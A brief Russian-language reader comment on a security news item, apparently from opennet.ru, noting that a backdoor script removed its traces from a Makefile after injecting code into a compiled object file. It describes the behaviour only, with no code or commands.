    И главное о чём не упомянуто в новости, в конце скрипта бекдор подчищал Makefile от следов, после того как произошло внедрение в скомпилированный объектный файл.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру